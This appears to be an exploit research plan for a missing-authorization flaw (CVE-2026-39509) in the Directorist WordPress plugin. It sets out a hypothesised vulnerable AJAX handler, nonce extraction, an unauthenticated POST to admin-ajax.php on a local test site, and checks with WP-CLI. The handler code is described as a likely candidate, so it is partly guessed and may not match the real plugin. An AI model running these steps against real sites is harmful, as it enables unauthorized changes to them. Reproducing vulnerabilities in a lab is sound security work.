Directorist <= 8.5.10 - Missing Authorization

This research plan targets CVE-2026-39509, a Missing Authorization vulnerability in the Directorist plugin (versions <= 8.5.10). The vulnerability typically resides in AJAX handlers that are registered for both authenticated and unauthenticated users but lack capability checks.

1. Vulnerability Summary

The Directorist plugin fails to perform authorization checks (e.g., current_user_can()) in certain administrative or state-modifying functions exposed via WordPress AJAX. Specifically, functions intended for administrators (like dismissing notices or updating plugin-wide settings) are registered under the wp_ajax_nopriv_ hook. This allows any unauthenticated visitor to trigger these functions, potentially modifying the site's configuration or database state.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: atbdp_dismiss_notice (High probability candidate) or atbdp_set_listing_type.
• Authentication: None (Unauthenticated).
• Parameters:
  • action: The vulnerable AJAX action.
  • notice_id or similar identifier for the state to be modified.
  • _wpnonce: The AJAX nonce (if enforced).
• Preconditions: The plugin must be active. A valid nonce must be obtained if check_ajax_referer is present in the handler.

3. Code Flow

1. Entry Point: A request is sent to admin-ajax.php with action=atbdp_dismiss_notice.
2. Hook Registration: The plugin registers the action:

   add_action( 'wp_ajax_nopriv_atbdp_dismiss_notice', 'atbdp_dismiss_notice' );
   

3. Vulnerable Callback: The function atbdp_dismiss_notice() is executed. It lacks a current_user_can( 'manage_options' ) check.
4. Sink: The function calls update_option(), modifying the wp_options table based on user-supplied input.

   function atbdp_dismiss_notice() {
       $notice_id = $_POST['notice_id'];
       update_option( 'atbdp_notice_dismissed_' . $notice_id, true ); // SINK
       wp_die();
   }
   

4. Nonce Acquisition Strategy

Directorist typically localizes its AJAX data into a global JavaScript object.

1. Identify Trigger: The main Directorist scripts are usually enqueued on pages containing directory shortcodes.
2. Create Test Page:
   wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[directorist_all_listings]'
3. Navigate and Extract:
   • Use browser_navigate to visit the newly created page.
   • Use browser_eval to extract the nonce from the directorist_localization object:
     browser_eval("window.directorist_localization?.nonce")
     (Note: If not found, check window.atbdp_js_obj?.atbdp_nonce).

5. Exploitation Strategy

The goal is to demonstrate unauthorized modification of the database (Integrity: Low).

1. Step 1: Discovery: Confirm the registration of the nopriv hook.
   grep -rn "wp_ajax_nopriv_atbdp_dismiss_notice" .
2. Step 2: Nonce Extraction: Use the Browser tool to extract the nonce from a page with the [directorist_all_listings] shortcode.
3. Step 3: Execute Unauthorized Action: Send a POST request to admin-ajax.php to set a custom "dismissed notice" option.
   • URL: http://localhost:8080/wp-admin/admin-ajax.php
   • Method: POST
   • Content-Type: application/x-www-form-urlencoded
   • Body: action=atbdp_dismiss_notice&notice_id=pwn_test&_wpnonce=[EXTRACTED_NONCE]
4. Step 4: Verify Success: Check if the option atbdp_notice_dismissed_pwn_test was created/updated in the database.

6. Test Data Setup

1. Install and activate Directorist 8.5.10.
2. Ensure the plugin's "Onboarding" or "Setup Wizard" is either completed or dismissed so that notices are available.
3. Create a public page with the [directorist_all_listings] shortcode to facilitate nonce extraction.

7. Expected Results

• The http_request should return a 200 OK or 0 (from wp_die).
• The database should now contain a new record in wp_options.

8. Verification Steps

1. WP-CLI Verification:
   wp option get atbdp_notice_dismissed_pwn_test
2. If the command returns 1, the exploitation of the "Missing Authorization" is confirmed, as an unauthenticated user successfully influenced the wp_options table.

9. Alternative Approaches

If atbdp_dismiss_notice is not present or requires higher privileges, investigate the following:

• Action: atbdp_set_listing_type
  • Search: grep -rn "wp_ajax_nopriv_atbdp_set_listing_type" .
  • This might allow unauthenticated users to change session variables or listing metadata.
• Action: atbdp_mailchimp_subscribe
  • If this lacks auth, it could be used for spamming/email list injection.
• Check for atbdp_setup_wizard:
  • If unauthenticated users can access the setup wizard handlers, they may be able to re-run the initial configuration, which is a high-impact integrity failure.